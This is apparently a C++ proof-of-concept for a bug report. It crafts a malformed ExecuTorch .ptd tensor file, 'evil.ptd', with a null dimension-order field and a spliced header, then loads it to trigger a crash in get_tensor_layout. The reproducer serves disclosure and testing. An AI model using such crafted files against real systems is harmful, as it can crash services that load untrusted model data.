| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| #include <flatbuffers/flatbuffers.h> |
|
|
| #include <executorch/extension/flat_tensor/serialize/flat_tensor_generated.h> |
|
|
| #include <executorch/extension/data_loader/file_data_loader.h> |
| #include <executorch/extension/flat_tensor/flat_tensor_data_map.h> |
|
|
| #include <cstdint> |
| #include <cstdio> |
| #include <cstring> |
| #include <string> |
| #include <vector> |
|
|
| using executorch::extension::FileDataLoader; |
| using executorch::extension::FlatTensorDataMap; |
|
|
| static uint64_t aligned_size(uint64_t n, uint64_t a) { return ((n + a - 1) / a) * a; } |
| static void put_u32(std::string& s, size_t off, uint32_t v) { std::memcpy(&s[off], &v, 4); } |
| static void append_u32(std::string& s, uint32_t v) { s.append(reinterpret_cast<char*>(&v), 4); } |
| static void append_u64(std::string& s, uint64_t v) { s.append(reinterpret_cast<char*>(&v), 8); } |
|
|
| int main(int argc, char** argv) { |
| const char* path = argc > 1 ? argv[1] : "evil.ptd"; |
|
|
| |
| flatbuffers::FlatBufferBuilder fbb; |
| std::vector<int32_t> sizes = {1, 1, 1, 1}; |
| |
| |
| |
| auto layout = flat_tensor_flatbuffer::CreateTensorLayoutDirect( |
| fbb, executorch_flatbuffer::ScalarType_FLOAT, &sizes, nullptr); |
| auto named = flat_tensor_flatbuffer::CreateNamedDataDirect(fbb, "w", 0, layout); |
| std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::NamedData>> nds = {named}; |
| std::vector<flatbuffers::Offset<flat_tensor_flatbuffer::DataSegment>> segs = { |
| flat_tensor_flatbuffer::CreateDataSegment(fbb, 0, 0)}; |
| auto root = flat_tensor_flatbuffer::CreateFlatTensorDirect(fbb, 0, &segs, &nds); |
| flat_tensor_flatbuffer::FinishFlatTensorBuffer(fbb, root); |
|
|
| std::string fb(reinterpret_cast<const char*>(fbb.GetBufferPointer()), fbb.GetSize()); |
|
|
| |
| const uint64_t EXPECTED_LENGTH = 40; |
| const uint64_t padded_header_length = aligned_size(EXPECTED_LENGTH, 16); |
| const uint64_t segment_base_offset = |
| aligned_size(fb.size() + padded_header_length, 128); |
|
|
| std::string header; |
| header.append("FH01", 4); |
| append_u32(header, (uint32_t)EXPECTED_LENGTH); |
| append_u64(header, padded_header_length); |
| append_u64(header, (uint64_t)fb.size()); |
| append_u64(header, segment_base_offset); |
| append_u64(header, 0); |
| header.resize(padded_header_length, '\0'); |
|
|
| |
| uint32_t root_off; |
| std::memcpy(&root_off, fb.data(), 4); |
| std::string ptd; |
| append_u32(ptd, root_off + (uint32_t)padded_header_length); |
| ptd.append(fb, 4, 4); |
| ptd.append(header); |
| ptd.append(fb, 8, fb.size() - 8); |
| ptd.resize(segment_base_offset, '\0'); |
|
|
| FILE* f = std::fopen(path, "wb"); |
| std::fwrite(ptd.data(), 1, ptd.size(), f); |
| std::fclose(f); |
| fprintf(stderr, "[poc] wrote %s (%zu bytes)\n", path, ptd.size()); |
|
|
| |
| auto loader = FileDataLoader::from(path); |
| if (!loader.ok()) { fprintf(stderr, "[poc] loader open failed\n"); return 2; } |
| auto map = FlatTensorDataMap::load(&loader.get()); |
| if (!map.ok()) { |
| fprintf(stderr, "[poc] FlatTensorDataMap::load failed err=%u\n", |
| (unsigned)map.error()); |
| return 3; |
| } |
| fprintf(stderr, "[poc] calling get_tensor_layout(\"w\") ...\n"); |
| auto tl = map->get_tensor_layout(executorch::aten::string_view{"w", 1}); |
| fprintf(stderr, "[poc] NO CRASH (unexpected): ok=%d\n", tl.ok()); |
| return 0; |
| } |
|
|